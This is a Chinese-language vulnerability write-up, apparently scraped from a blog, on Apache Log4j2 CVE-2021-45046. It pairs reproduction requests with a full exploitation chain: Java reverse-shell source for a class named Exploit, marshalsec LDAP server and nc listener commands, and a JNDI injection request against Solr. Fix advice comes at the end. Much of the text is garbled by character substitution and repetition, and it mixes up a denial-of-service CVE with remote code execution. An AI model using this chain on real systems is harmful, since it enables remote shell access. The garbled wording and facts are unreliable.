破绽描绘
Apache Log4j2 是一个基于 Java 的日志记载工具。该工具重写了 Log4j 框架,并且引入了大量丰厚的特性。我们能够控制日志信息保送的目的地为控制台、文件、GUI 组件等,经过定义每一条日志信息的级别,可以愈加细致 地控制日志的生成过程。该日志框架被大量用于业务系统 开发,用来记载日志信息 每一条日志信息的级别,可以愈加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记载日志信息。
2021年12月16日,Apache Log4j2 组件存在回绝效劳破绽的信息。破绽编号:CVE-2021-45046,破绽要挟等级:低危,破绽评分:3.7。
Apache Log4j 2.15.0 中针对 CVE-2021-44228 的修复在某些非默许配置中不完好。当日志配置运用非默许形式规划和上下文查找(例如,$${ctx:loginId})或线程上下文映射形式( %X、%mdc 或 %MDC)时,运用 JNDI 查找形式制造歹意输入数据,从而招致回绝效劳 (DOS) 攻击。
影响版本
2.0-beta9 <=Apache Log4j <=2.12.1
2.13.0<=Apache Log4j <=2.15.0
破绽复现
恳求GET
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiversion}' Hello, world!%
${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m{nolookups}%n
POST恳求
curl --location --request POST 'http://127.0.0.1:8080/addrecord'
--header 'Content-Type: application/json'
--data '{
"clientRef": "${ctx:clientRef}"
}'
留意显现无限循环的输出,但是在测试中没有发现这个 DOS 是资源耗费,由于这个无限循环被程序和错误辨认出来:
${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of ${ctx:clientRef}: ctx:clientRef
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
应用
参考fastjson破绽应用,应用歹意ldap效劳器停止jndi注入,加载远程歹意类,形成恣意代码执行
歹意类
这里先写一个歹意类 Exploit.java,并编译为class文件
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="x.x.x.x"; //修正为反弹效劳器
int port=x; // 修正为反连端口
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
直接运用python启动效劳
python -m SimpleHTTPServer 80 //xxx为web端口
启动歹意ldap效劳器
之前复现fastjson的直接拿过来用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口
nc 监听反连端口
nc -lvvp x //x 为歹意类指定的反连端口
触发破绽
发送恳求
GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1
Host: 192.168.64.128:8983
X-Requested-With: XMLHttpRequest
Referer: http://192.168.64.128:8983/solr/
Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6
Connection: close
查看ldap效劳器响应
查看web效劳响应
查看nc监听,能够看到拿到shell了
修复倡议
暂时修复倡议
Log4j 1.x 缓解:Log4j 1.x 不受此破绽影响。
Log4j 2.x 缓解:施行以下缓解技术。
从类途径中删除 JndiLookup 类文件:
zip -q-dlog4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
请留意,只要 log4j-core JAR 文件受此破绽影响。仅运用 log4j-api JAR 文件而不运用 log4j-core JAR 文件的应用程序不受此破绽的影响。
官方修复倡议
官方已发布平安版本,请及时下载更新,下载地址:
https://github.com/apache/logging-log4j2/tags
注:Java8 的用户需求晋级到 Apache Log4j 2.16.0版本。Java 7 的用户需求晋级到Apache Log4j 2.12.2版本
关于java8版本用户,晋级到版本 2.16.0 :
https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0
https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0
关于java7版本用户,晋级到最新版本 2.12.2 :
https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.12.2
https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.12.2
与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)